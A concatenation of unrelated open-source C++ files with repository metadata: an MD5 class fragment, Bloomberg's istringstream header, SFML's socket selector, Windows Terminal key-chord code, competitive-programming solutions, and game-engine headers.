0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
if( finalized ){
return;
}
// Save number of bits
encode(bits, count, 8);
// Pad out to 56 mod 64.
index = (UINT) ((count[0] >> 3) & 0x3f);
padLen = (index < 56) ? (56 - index) : (120 - index);
update (PADDING, padLen);
// Append length (before padding)
update(bits, 8);
// Store state in digest
encode(digest, state, 16);
// Zeroize sensitive information
memset(buffer, 0, sizeof(*buffer));
finalized = true;
}
char *hex_digest()
{
char *s = new char[33];
if (!finalized){
return "";
}
for( int i = 0; i < 16; i++ ) {
wsprintf(s+i*2, "%02x", digest[i]);
}
s[32]='\0';
return s;
}
}; | [
"ptr0x@live.com"
] | ptr0x@live.com |
d3f97d5d9f863b0ea8c6913e052ea10ef038e91c | d5d75fb1ea6ded9d1a0f9c13be6694a9f652804d | /AsyncMonitor.cpp | 021b33c4f5e9796270c8b3736e917b7f693159e1 | [
"MIT"
] | permissive | orxx/BodySlide-and-Outfit-Studio | c5ec80c0de3b2e516d6dfef1a3cc779309b2f9eb | be090f6ccb3e0448f47de1fa5e3727133a3b8b0f | refs/heads/master | 2020-04-06T04:11:03.389090 | 2015-04-19T07:32:08 | 2015-04-19T09:01:14 | 34,200,020 | 1 | 0 | null | 2015-04-19T09:02:11 | 2015-04-19T09:02:09 | C++ | UTF-8 | C++ | false | false | 52 | cpp | #include "AsyncMonitor.h"
AsyncMonitor NoMonitor; | [
"denis41@hotmail.de"
] | denis41@hotmail.de |
5f3fd91ce3ec0210c3bb8de3e6e7b1d2d9b1c6a6 | d2fb019e63eb66f9ddcbdf39d07f7670f8cf79de | /groups/bsl/bslstl/bslstl_istringstream.h | 4892bbfe7899e03829ee0e0baade464c87bd5dbe | [
"MIT"
] | permissive | gosuwachu/bsl | 4fa8163a7e4b39e4253ad285b97f8a4d58020494 | 88cc2b2c480bcfca19e0f72753b4ec0359aba718 | refs/heads/master | 2021-01-17T05:36:55.605787 | 2013-01-15T19:48:00 | 2013-01-15T19:48:00 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,405 | h | // bslstl_istringstream.h -*-C++-*-
#ifndef INCLUDED_BSLSTL_ISTRINGSTREAM
#define INCLUDED_BSLSTL_ISTRINGSTREAM
#ifndef INCLUDED_BSLS_IDENT
#include <bsls_ident.h>
#endif
BSLS_IDENT("$Id: $")
//@PURPOSE: Provide a C++03-compatible 'istringstream' class.
//
//@CLASSES:
// bsl::istringstream: C++03-compatible 'istringstream' class
//
//@SEE_ALSO:
//
//@DESCRIPTION: This component is for internal use only. Please include
// '<bsl_sstream.h>' instead.
//
// This component defines a class template, 'bsl::basic_istringstream',
// implementing a standard input stream that provides a constructor (as well as
// a manipulator) allowing clients to set the sequence of characters
// from which input is streamed to a supplied 'bsl::basic_string' (see
// 27.8.3 [istringstream] of the C++11 standard). This component also defines
// two standard aliases, 'bsl::istringstream' and 'bsl::wistringstream', that
// refer to specializations of the 'bsl::basic_istringstream' template for
// 'char' and 'wchar_t' types, respectively. The 'bsl::basic_istringstream'
// template has three parameters, 'CHAR_TYPE', 'CHAR_TRAITS', and 'ALLOCATOR'.
// The 'CHAR_TYPE' and 'CHAR_TRAITS' parameters respectively define the
// character type for the string-stream and a type providing a set of
// operations the string-stream will use to manipulate characters of that type,
// which must meet the character traits requirements defined by the C++11
// standard, 21.2 [char.traits]. The 'ALLOCATOR' template parameter is
// described in the "Memory Allocation" section below.
//
///Memory Allocation
///-----------------
// The type supplied as a string-stream's 'ALLOCATOR' template parameter
// determines how that string-stream will allocate memory. The
// 'basic_istringstream' template supports allocators meeting the requirements
// of the C++11 standard, 17.6.3.5 [allocator.requirements]; in addition, it
// supports scoped-allocators derived from the 'bslma::Allocator' memory
// allocation protocol. Clients intending to use 'bslma'-style allocators
// should use 'bsl::allocator', which provides a C++11 standard-compatible
// adapter for a 'bslma::Allocator' object. Note that the standard aliases
// 'bsl::istringstream' and 'bsl::wistringstream' both use 'bsl::allocator'.
//
///'bslma'-Style Allocators
/// - - - - - - - - - - - -
// If the type supplied for the 'ALLOCATOR' template parameter of an
// 'istringstream' instantiation is 'bsl::allocator', then objects of that
// string-stream type will conform to the standard behavior of a
// 'bslma'-allocator-enabled type. Such a string-stream accepts an optional
// 'bslma::Allocator' argument at construction. If the address of a
// 'bslma::Allocator' object is explicitly supplied at construction, it will be
// used to supply memory for the string-stream throughout its lifetime;
// otherwise, the string-stream will use the default allocator installed at the
// time of the string-stream's construction (see 'bslma_default').
//
///Usage
///-----
// This section illustrates intended use of this component.
//
///Example 1: Basic Input Operations
///- - - - - - - - - - - - - - - - -
// The following example demonstrates the use of 'bsl::istringstream' to read
// data of various types from a 'bsl::string' object.
//
// Suppose we want to implement a simplified converter from 'bsl::string' to a
// generic type, 'TYPE'. We use 'bsl::istringstream' to implement the
// 'fromString' function. We initialize the input stream with the string
// passed as a parameter and then we read the data from the input stream with
// 'operator>>':
//..
// template <class TYPE>
// TYPE fromString(const bsl::string& from)
// {
// bsl::istringstream in(from);
// TYPE val;
// in >> val;
// return val;
// }
//..
// Finally, we verify that our 'fromString' function works on some simple test
// cases:
//..
// assert(fromString<int>("1234") == 1234);
//
// assert(fromString<short>("-5") == -5);
//
// assert(fromString<bsl::string>("abc") == "abc");
//..
// Prevent 'bslstl' headers from being included directly in 'BSL_OVERRIDES_STD'
// mode. Doing so is unsupported, and is likely to cause compilation errors.
#if defined(BSL_OVERRIDES_STD) && !defined(BSL_STDHDRS_PROLOGUE_IN_EFFECT)
#error "include <bsl_sstream.h> instead of <bslstl_istringstream.h> in \
BSL_OVERRIDES_STD mode"
#endif
#ifndef INCLUDED_BSLSCM_VERSION
#include <bslscm_version.h>
#endif
#ifndef INCLUDED_BSLSTL_STRING
#include <bslstl_string.h>
#endif
#ifndef INCLUDED_BSLSTL_STRINGBUF
#include <bslstl_stringbuf.h>
#endif
#ifndef INCLUDED_BSLALG_TYPETRAITS
#include <bslalg_typetraits.h>
#endif
#ifndef INCLUDED_BSLALG_TYPETRAITUSESBSLMAALLOCATOR
#include <bslalg_typetraitusesbslmaallocator.h>
#endif
#ifndef INCLUDED_IOS
#include <ios>
#define INCLUDED_IOS
#endif
#ifndef INCLUDED_ISTREAM
#include <istream>
#define INCLUDED_ISTREAM
#endif
namespace bsl {
// =========================
// class basic_istringstream
// =========================
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
class basic_istringstream
: private StringBufContainer<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>
, public native_std::basic_istream<CHAR_TYPE, CHAR_TRAITS> {
// This class implements a standard input stream that provides a
// constructor and manipulator for setting the sequence of characters from
// which input is streamed to a supplied 'bsl::basic_string'.
private:
// PRIVATE TYPES
typedef basic_stringbuf<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR> StreamBufType;
typedef StringBufContainer<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>
BaseType;
typedef bsl::basic_string<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR> StringType;
typedef native_std::basic_istream<CHAR_TYPE, CHAR_TRAITS> BaseStream;
typedef native_std::ios_base ios_base;
private:
// NOT IMPLEMENTED
basic_istringstream(const basic_istringstream&); // = delete
basic_istringstream& operator=(const basic_istringstream&); // = delete
public:
// TYPES
typedef CHAR_TYPE char_type;
typedef CHAR_TRAITS traits_type;
typedef ALLOCATOR allocator_type;
typedef typename traits_type::int_type int_type;
typedef typename traits_type::off_type off_type;
typedef typename traits_type::pos_type pos_type;
// CREATORS
explicit
basic_istringstream(const allocator_type& allocator = allocator_type());
explicit
basic_istringstream(ios_base::openmode modeBitMask,
const allocator_type& allocator = allocator_type());
explicit
basic_istringstream(const StringType& initialString,
const allocator_type& allocator = allocator_type());
basic_istringstream(const StringType& initialString,
ios_base::openmode modeBitMask,
const allocator_type& allocator = allocator_type());
// Create a 'basic_istringstream' object. Optionally specify a
// 'modeBitMask' indicating whether the underlying stream-buffer may
// also be written to ('rdbuf' is created using
// 'modeBitMask | ios_base::in'). If 'modeBitMask' is not supplied,
// 'rdbuf' will be created using 'ios_base::in'. Optionally specify
// an 'initialString' indicating the sequence of characters from which
// input will be streamed. If 'initialString' is not supplied, there
// will not be data to stream (until a subsequent call to the 'str'
// manipulator). Optionally specify an 'allocator' used to supply
// memory. If 'allocator' is not supplied, a default-constructed
// object of the (template parameter) 'ALLOCATOR' type is used. If the
// 'ALLOCATOR' argument is of type 'bsl::allocator' (the default), then
// 'allocator', if supplied, shall be convertible to
// 'bslma::Allocator *'. If the 'ALLOCATOR' argument is of type
// 'bsl::allocator' and 'allocator' is not supplied, the currently
// installed default allocator will be used to supply memory.
//! ~basic_istringstream() = default;
// Destroy this object.
// MANIPULATORS
void str(const StringType& value);
// Reset the internally buffered sequence of characters provided as
// input by this stream to the specified 'value'.
// ACCESSORS
StringType str() const;
// Return the sequence of characters referred to by this stream object.
StreamBufType *rdbuf() const;
// Return an address providing modifiable access to the
// 'basic_stringbuf' object that is internally used by this string
// stream to buffer unformatted characters.
};
// STANDARD TYPEDEFS
typedef basic_istringstream<char, char_traits<char>, allocator<char> >
istringstream;
typedef basic_istringstream<wchar_t, char_traits<wchar_t>, allocator<wchar_t> >
wistringstream;
}
// TYPE TRAITS
namespace BloombergLP {
namespace bslma {
template <typename CHAR_TYPE, typename CHAR_TRAITS, typename ALLOCATOR>
struct UsesBslmaAllocator<
bsl::basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR> >
: bsl::true_type
{};
}
}
namespace bsl {
// ==========================================================================
// TEMPLATE FUNCTION DEFINITIONS
// ============================================================================
// -------------------------
// class basic_istringstream
// -------------------------
// CREATORS
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::
basic_istringstream(const allocator_type& allocator)
: BaseType(ios_base::in, allocator)
, BaseStream(BaseType::rdbuf())
{
}
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::
basic_istringstream(ios_base::openmode modeBitMask,
const allocator_type& allocator)
: BaseType(modeBitMask | ios_base::in, allocator)
, BaseStream(BaseType::rdbuf())
{
}
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::
basic_istringstream(const StringType& initialString,
const allocator_type& allocator)
: BaseType(initialString, ios_base::in, allocator)
, BaseStream(BaseType::rdbuf())
{
}
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::
basic_istringstream(const StringType& initialString,
ios_base::openmode modeBitMask,
const allocator_type& allocator)
: BaseType(initialString, modeBitMask | ios_base::in, allocator)
, BaseStream(BaseType::rdbuf())
{
}
// MANIPULATORS
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
void basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::str(
const StringType& value)
{
this->rdbuf()->str(value);
}
// ACCESSORS
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
typename basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::StringType
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::str() const
{
return this->rdbuf()->str();
}
template <class CHAR_TYPE, class CHAR_TRAITS, class ALLOCATOR>
inline
typename
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::StreamBufType *
basic_istringstream<CHAR_TYPE, CHAR_TRAITS, ALLOCATOR>::rdbuf() const
{
return this->BaseType::rdbuf();
}
} // close namespace bsl
#endif
// ----------------------------------------------------------------------------
// Copyright (C) 2012 Bloomberg L.P.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// ----------------------------- END-OF-FILE ----------------------------------
| [
"abeels@bloomberg.net"
] | abeels@bloomberg.net |
88ddfad20be263cfa69c99666a5bdd18bd84af6d | 4b9c10f69d7a3d80d443bb83fa2de38151bad85b | /10018/reverse.cpp | 72e9ba97ebf85c950118beaf7ceabbe49915b25b | [] | no_license | rajul/UVa | 474dd53f84c02ad28097d6423e360886b95c3539 | 0534eb23c1868f96e6c72bf2de5c7a72faba5489 | refs/heads/master | 2020-12-29T02:38:12.777992 | 2019-05-19T05:04:15 | 2019-05-19T05:04:15 | 43,592,656 | 2 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 720 | cpp | #include <iostream>
using namespace std;
bool is_palindrome(string s)
{
int i;
int l = s.length();
for(i=0; i<(l/2); i++)
{
if(s[i] != s[l-1-i])
return false;
}
return true;
}
int get_iterations(string num)
{
string rev_num;
int count = 0, i, l;
long result;
while(1)
{
l = num.length();
rev_num = "";
for(i=(l-1); i>=0; i--)
{
rev_num = rev_num + num[i];
}
result = stol(num) + stol(rev_num);
count++;
num = to_string(result);
if(is_palindrome(num))
{
cout << count << " " << num << endl;
break;
}
}
return count;
}
int main()
{
int n, i, count;
string num;
cin >> n;
for(i=0; i<n; i++)
{
cin >> num;
count = get_iterations(num);
}
return 0;
} | [
"rajul09@gmail.com"
] | rajul09@gmail.com |
8c12b939c21b1b8cd8c1b9f825745163faedd4e4 | d26655310f2e895a17258d44180b8b5bb1564b20 | /examples/example_util.hpp | 273ae0b8263679733459c3d51b2e5a08da7b0960 | [
"MIT"
] | permissive | whackashoe/xethru-cpp-connector | 5981870b659bd4a295e597b8cb997de826289070 | 93c87c792f9ca238b6b2a95ba80ed992c571d2dd | refs/heads/master | 2021-01-10T02:15:51.495832 | 2016-01-01T00:16:33 | 2016-01-01T00:16:33 | 48,865,624 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 559 | hpp | #ifndef XETHRU_EXAMPLE_UTIL_HPP
#define XETHRU_EXAMPLE_UTIL_HPP
#include <iostream>
#include <ctime>
#include <iomanip>
#include <string>
struct pretty_time
{
pretty_time() {}
friend std::ostream& operator<<(std::ostream& os, const pretty_time& mp)
{
time_t rawtime;
struct tm * timeinfo;
char buffer[80];
time (&rawtime);
timeinfo = localtime(&rawtime);
strftime(buffer,80,"%d-%m-%Y %I:%M:%S",timeinfo);
std::string str(buffer);
os << str;
return os;
}
};
#endif
| [
"whackashoe@gmail.com"
] | whackashoe@gmail.com |
5985a9645493877c9154c3907fb061e3fcd08805 | adc0a33f20e8c09a09a2492f8c3f210c94b05ec7 | /src/cascadia/TerminalSettings/KeyChord.cpp | 96e771acbccc781e2427c04270681fb9078cea4e | [
"MIT"
] | permissive | farmanp/terminal | 01a4fee63d4103a4d031b3f48ce71795ffea0d7f | d766c9bfebbbae9c5a9c3d4a2bd046c829dc8ed0 | refs/heads/master | 2020-05-24T02:07:13.854359 | 2019-09-15T15:15:07 | 2019-09-15T15:15:07 | 187,047,668 | 1 | 0 | MIT | 2019-05-16T14:48:40 | 2019-05-16T14:48:40 | null | UTF-8 | C++ | false | false | 1,049 | cpp | // Copyright (c) Microsoft Corporation.
// Licensed under the MIT license.
#include "pch.h"
#include "KeyChord.h"
namespace winrt::Microsoft::Terminal::Settings::implementation
{
KeyChord::KeyChord(bool ctrl, bool alt, bool shift, int32_t vkey) :
_modifiers{ (ctrl ? Settings::KeyModifiers::Ctrl : Settings::KeyModifiers::None) |
(alt ? Settings::KeyModifiers::Alt : Settings::KeyModifiers::None) |
(shift ? Settings::KeyModifiers::Shift : Settings::KeyModifiers::None) },
_vkey{ vkey }
{
}
KeyChord::KeyChord(Settings::KeyModifiers const& modifiers, int32_t vkey) :
_modifiers{ modifiers },
_vkey{ vkey }
{
}
Settings::KeyModifiers KeyChord::Modifiers()
{
return _modifiers;
}
void KeyChord::Modifiers(Settings::KeyModifiers const& value)
{
_modifiers = value;
}
int32_t KeyChord::Vkey()
{
return _vkey;
}
void KeyChord::Vkey(int32_t value)
{
_vkey = value;
}
}
| [
"duhowett@microsoft.com"
] | duhowett@microsoft.com |
510da86a2afc3e79e25f6407f1e56ec4339f39cc | 38cea84aad798112978e45e330792d50ec05bd3e | /game/server/SFML/SocketSelector.cpp | 75f96f271c46083a28d923fc3fe7320a681332d6 | [] | no_license | HL2-Ghosting-Team/src | 3822c5f7b621ef8e158fa7e2a74551c9cd81257f | 8c9e32e78a0f67591d6dd8a17cb77bc0ebf832b5 | refs/heads/master | 2022-06-25T01:15:20.989386 | 2022-06-16T19:58:43 | 2022-06-18T17:52:05 | 12,396,254 | 20 | 19 | null | 2022-06-18T17:52:06 | 2013-08-27T03:49:09 | C++ | UTF-8 | C++ | false | false | 4,180 | cpp | ////////////////////////////////////////////////////////////
//
// SFML - Simple and Fast Multimedia Library
// Copyright (C) 2007-2014 Laurent Gomila (laurent.gom@gmail.com)
//
// This software is provided 'as-is', without any express or implied warranty.
// In no event will the authors be held liable for any damages arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it freely,
// subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented;
// you must not claim that you wrote the original software.
// If you use this software in a product, an acknowledgment
// in the product documentation would be appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such,
// and must not be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any source distribution.
//
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////
#include <SFML/Network/SocketSelector.hpp>
#include <SFML/Network/Socket.hpp>
#include <SFML/Network/SocketImpl.hpp>
#include <SFML/System/Err.hpp>
#include <utility>
#ifdef _MSC_VER
#pragma warning(disable : 4127) // "conditional expression is constant" generated by the FD_SET macro
#endif
namespace sf
{
////////////////////////////////////////////////////////////
struct SocketSelector::SocketSelectorImpl
{
fd_set AllSockets; ///< Set containing all the sockets handles
fd_set SocketsReady; ///< Set containing handles of the sockets that are ready
int MaxSocket; ///< Maximum socket handle
};
////////////////////////////////////////////////////////////
SocketSelector::SocketSelector() :
m_impl(new SocketSelectorImpl)
{
clear();
}
////////////////////////////////////////////////////////////
SocketSelector::SocketSelector(const SocketSelector& copy) :
m_impl(new SocketSelectorImpl(*copy.m_impl))
{
}
////////////////////////////////////////////////////////////
SocketSelector::~SocketSelector()
{
delete m_impl;
}
////////////////////////////////////////////////////////////
void SocketSelector::add(Socket& socket)
{
SocketHandle handle = socket.getHandle();
if (handle != priv::SocketImpl::invalidSocket())
{
FD_SET(handle, &m_impl->AllSockets);
int size = static_cast<int>(handle);
if (size > m_impl->MaxSocket)
m_impl->MaxSocket = size;
}
}
////////////////////////////////////////////////////////////
void SocketSelector::remove(Socket& socket)
{
FD_CLR(socket.getHandle(), &m_impl->AllSockets);
FD_CLR(socket.getHandle(), &m_impl->SocketsReady);
}
////////////////////////////////////////////////////////////
void SocketSelector::clear()
{
FD_ZERO(&m_impl->AllSockets);
FD_ZERO(&m_impl->SocketsReady);
m_impl->MaxSocket = 0;
}
////////////////////////////////////////////////////////////
bool SocketSelector::wait(Time timeout)
{
// Setup the timeout
timeval time;
time.tv_sec = static_cast<long>(timeout.asMicroseconds() / 1000000);
time.tv_usec = static_cast<long>(timeout.asMicroseconds() % 1000000);
// Initialize the set that will contain the sockets that are ready
m_impl->SocketsReady = m_impl->AllSockets;
// Wait until one of the sockets is ready for reading, or timeout is reached
int count = select(m_impl->MaxSocket + 1, &m_impl->SocketsReady, NULL, NULL, timeout != Time::Zero ? &time : NULL);
return count > 0;
}
////////////////////////////////////////////////////////////
bool SocketSelector::isReady(Socket& socket) const
{
return FD_ISSET(socket.getHandle(), &m_impl->SocketsReady) != 0;
}
////////////////////////////////////////////////////////////
SocketSelector& SocketSelector::operator =(const SocketSelector& right)
{
SocketSelector temp(right);
std::swap(m_impl, temp.m_impl);
return *this;
}
} // namespace sf
| [
"nkerns25@yahoo.com"
] | nkerns25@yahoo.com |
75b62e0675be25ac366a792b56d86a2dab476cb2 | 8231adcf38337485ad762b43ce4165102acaa125 | /GameAI/pathfinding/game/Game.h | 9ea07f81ccde622f71511e7cab20812676cabf86 | [] | no_license | Andy608/Pacman | a5121fe9973bfc813c1029ff5b9dcfc08c9136fd | c308db393dd810e5966f1675796bc5241be4959a | refs/heads/master | 2020-04-09T00:36:33.638301 | 2018-12-08T01:11:12 | 2018-12-08T01:11:12 | 159,874,342 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,712 | h | #ifndef GAME_H_
#define GAME_H_
#include <Trackable.h>
#include "EventListener.h"
#include "Color.h"
class Timer;
class InputTranslator;
class Sprite;
class SettingsFile;
class Score;
class SceneManager;
class AssetManager;
class SaveManager;
class LocalizationMap;
class PerformanceTracker;
class ComponentManager;
class UnitManager;
class GridPathfinder;
extern PerformanceTracker* gpPerformanceTracker;
class Game : public EventListener
{
public:
static Game* getInstance();
static bool initInstance();
static void cleanupInstance();
//Disable any form of copying for a Game object.
Game(const Game& copy) = delete;
void operator=(const Game& copy) = delete;
bool init(const int& displayWidth, const int& displayHeight);
void cleanup();
void loop();
virtual void handleEvent(const Event& theEvent);
inline AssetManager* getAssetManager() const { return mpAssetManager; };
inline LocalizationMap* getLocalizationMap() const { return mpLocalizationMap; };
inline SaveManager* getSaveManager() const { return mpSaveManager; };
inline Vector2D getDisplayDimensions() const { return mDisplayDimensions; };
inline SceneManager* getSceneManager() const { return mpSceneManager; }
inline UnitManager* getUnitManager() const { return mpUnitManager; };
inline ComponentManager* getComponentManager() const { return mpComponentManager; };
inline bool isSoundOn() { return mIsSoundOn; };
inline int getScore() const { return mScore; };
inline void setScore(int score) { mScore = score; };
inline void addScore(int score) { mScore += score; };
inline void resetScore() { mScore = 0; };
inline bool getWon() const { return mWon; };
inline void setWon(bool won) { mWon = won; };
void toggleSound(bool isOn);
void requestQuitGame();
private:
static Game* smpInstance;
static const int ANIMATION_SPEED_OFFSET;
static const float mFPS;
static const float mUPDATE_TIME;//Timer is in milliseconds
static const float mLAG_CAP;//Timer is in milliseconds
static const int MAX_UNITS = 1000;
const std::string mDRAW_TRACKER_NAME = "draw";
int mFrames;
bool mIsInitialized = false;
bool mIsLoopRunning = false;
bool mShouldShutdown = false;
bool mIsSoundOn = true;
Timer* mpTimer = nullptr;
SettingsFile* mpMainSettingsFile = nullptr;
AssetManager* mpAssetManager = nullptr;
LocalizationMap* mpLocalizationMap = nullptr;
SceneManager* mpSceneManager = nullptr;
InputTranslator* mpInputTranslator = nullptr;
SaveManager* mpSaveManager = nullptr;
ComponentManager* mpComponentManager = nullptr;
UnitManager* mpUnitManager = nullptr;
Vector2D mDisplayDimensions;
int mScore;
bool mWon;
Game();
~Game();
void update(float deltaTime);
void render();
};
#endif | [
"AndrewR608@gmail.com"
] | AndrewR608@gmail.com |
7b06ef9fcbd63e7113d5bed087b9e4645b0281f8 | 795238fb2b1c8fd4555d6d8ce7ab121dd3537a43 | /Figure.h | 049f3a371eeffe33fbad2235f7991d178babd7cd | [] | no_license | Danzolax/RPM_Lab7 | 4eabdce904f7bdf58941371236b52afad4c9f083 | 7361116bd2a1233514aaeaf2f2df9df02a64ae1e | refs/heads/master | 2021-01-27T05:12:26.300646 | 2020-02-27T08:53:15 | 2020-02-27T08:53:15 | 243,473,513 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 257 | h | //
// Created by danzolax on 19.02.2020.
//
#ifndef UNTITLED5_FIGURE_H
#define UNTITLED5_FIGURE_H
#include <string>
#include <vector>
class Figure {
public:
Figure();
virtual ~Figure();
virtual void print();
};
#endif //UNTITLED5_FIGURE_H
| [
"danzolax@gmail.com"
] | danzolax@gmail.com |
c723a93733db34b4d8d14aa62a9d6ec05f3f657d | 9c04607c6a658060a16c269cb673e5818a7074cf | /src/extensions/const/const8-fst.cc | 1c20dd8faf8372c007cabde6a35177aebe78209a | [
"Apache-2.0"
] | permissive | demitasse/openfst | 5e0029065f85126c7853bc3c5ba762cdbc66d01b | 6e4a66f7747e921dd2c220ee49927d0a2b69febf | refs/heads/master | 2020-06-11T08:39:08.108955 | 2017-11-18T13:54:53 | 2017-11-18T13:54:53 | 75,707,831 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 573 | cc | // See www.openfst.org for extensive documentation on this weighted
// finite-state transducer library.
#include <fst/fst.h>
#include <fst/const-fst.h>
using fst::FstRegisterer;
using fst::ConstFst;
using fst::LogArc;
using fst::Log64Arc;
using fst::StdArc;
// Register ConstFst for common arcs types with uint8 size type
static FstRegisterer<ConstFst<StdArc, uint8>> ConstFst_StdArc_uint8_registerer;
static FstRegisterer<ConstFst<LogArc, uint8>> ConstFst_LogArc_uint8_registerer;
static FstRegisterer<ConstFst<Log64Arc, uint8>>
ConstFst_Log64Arc_uint8_registerer;
| [
"dvn.demitasse@gmail.com"
] | dvn.demitasse@gmail.com |
0c792e41a9dcdafece2c00d3605f4ad2b69de8a8 | f058d216b5940f24398945297be143ec42fa7b1e | /src/745/C.cpp | 335caf924bd99531f48947122cebef474086d15c | [] | no_license | ruippeixotog/codeforces | 586fd66c307766734e66d64e88f712c7c5c02aac | d83b62fb274744fd1d49ff5ebf8d54dea116279f | refs/heads/master | 2022-09-06T04:57:19.443564 | 2022-08-07T18:37:13 | 2022-08-07T18:37:13 | 74,235,104 | 6 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 991 | cpp | #include <cstdio>
#include <vector>
#define MAXN 1000
#define MAXK 1000
using namespace std;
int c[MAXK];
vector<int> edges[MAXN];
int totalArea = 0, maxAreaIdx = -1, area[MAXK];
bool visited[MAXN];
int ffill(int k) {
if(visited[k]) return 0;
visited[k] = true;
int ar = 1;
for(int e: edges[k]) ar += ffill(e);
return ar;
}
int main() {
int n, m, k; scanf("%d %d %d\n", &n, &m, &k);
for(int i = 0; i < k; i++) {
scanf("%d", &c[i]); c[i]--;
}
for(int i = 0; i < m; i++) {
int u, v; scanf("%d %d", &u, &v);
edges[--u].push_back(--v);
edges[v].push_back(u);
}
for(int i = 0; i < k; i++) {
area[i] = ffill(c[i]);
totalArea += area[i];
if(maxAreaIdx == -1 || area[i] > area[maxAreaIdx]) {
maxAreaIdx = i;
}
}
int unassigned = n - totalArea;
area[maxAreaIdx] += unassigned;
int maxEdges = 0;
for(int i = 0; i < k; i++) {
maxEdges += area[i] * (area[i] - 1) / 2;
}
printf("%d\n", maxEdges - m);
return 0;
}
| [
"ruippeixotog@gmail.com"
] | ruippeixotog@gmail.com |
f96604fe2fb17a1bfc57ee673c600c0d3121510f | fcc136c9b903c33027da3c3e1604ec9325272bb2 | /343. Integer Break.cpp | 39a91a360f69226e5e399127e03ab64c77a3b65a | [] | no_license | autumn192837465/LeetCode | 4c67105174f942ce861c99637e059abde5378f0e | d7c2ddb955adc826d01175a31747a12163f8d41d | refs/heads/master | 2021-07-20T06:59:39.267313 | 2020-05-26T05:06:06 | 2020-05-26T05:06:06 | 174,077,418 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 725 | cpp | /*
Given a positive integer n, break it into the sum of at least two positive integers and maximize the product of those integers. Return the maximum product you can get.
Example 1:
Input: 2
Output: 1
Explanation: 2 = 1 + 1, 1 × 1 = 1.
Example 2:
Input: 10
Output: 36
Explanation: 10 = 3 + 3 + 4, 3 × 3 × 4 = 36.
Note: You may assume that n is not less than 2 and not larger than 58.
*/
class Solution {
public:
int integerBreak(int n) {
int dp[60];
memset(dp,0,sizeof(dp));
dp[1] = 1;
for(int i = 2;i<=n;i++){
for(int j = 1;j<i;j++){
dp[i] = max(max(dp[j],j) * max(dp[i - j],i-j), dp[i]);
}
}
return dp[n];
}
}; | [
"autumn192837465@yahoo.com.tw"
] | autumn192837465@yahoo.com.tw |
9ad3057071841d9f3c00ceeb2b62744b357735b8 | ef2a7453ca56a420c2da788cace7037192024eba | /DirectX/Component/Engine/Sprite/SpriteComponent.h | e8fdf42a3383dcadcbab08c6555e2537ba96814d | [] | no_license | 5433D-R32433/FbxSelfParser | 7055fd9303647cd6e8a445959b1b70e54a0821f0 | 6b6d21670ddaf1c57011164014a6645e4a614a22 | refs/heads/master | 2023-08-06T18:36:02.870479 | 2021-09-18T10:14:57 | 2021-09-18T10:14:57 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,431 | h | #pragma once
#include "../../Component.h"
#include "../../../Math/Math.h"
#include <memory>
#include <string>
class Shader;
class Sprite;
class SpriteManager;
class Texture;
class Transform2D;
class SpriteComponent : public Component, public std::enable_shared_from_this<SpriteComponent> {
public:
SpriteComponent();
virtual ~SpriteComponent();
virtual void awake() override;
virtual void lateUpdate() override;
virtual void finalize() override;
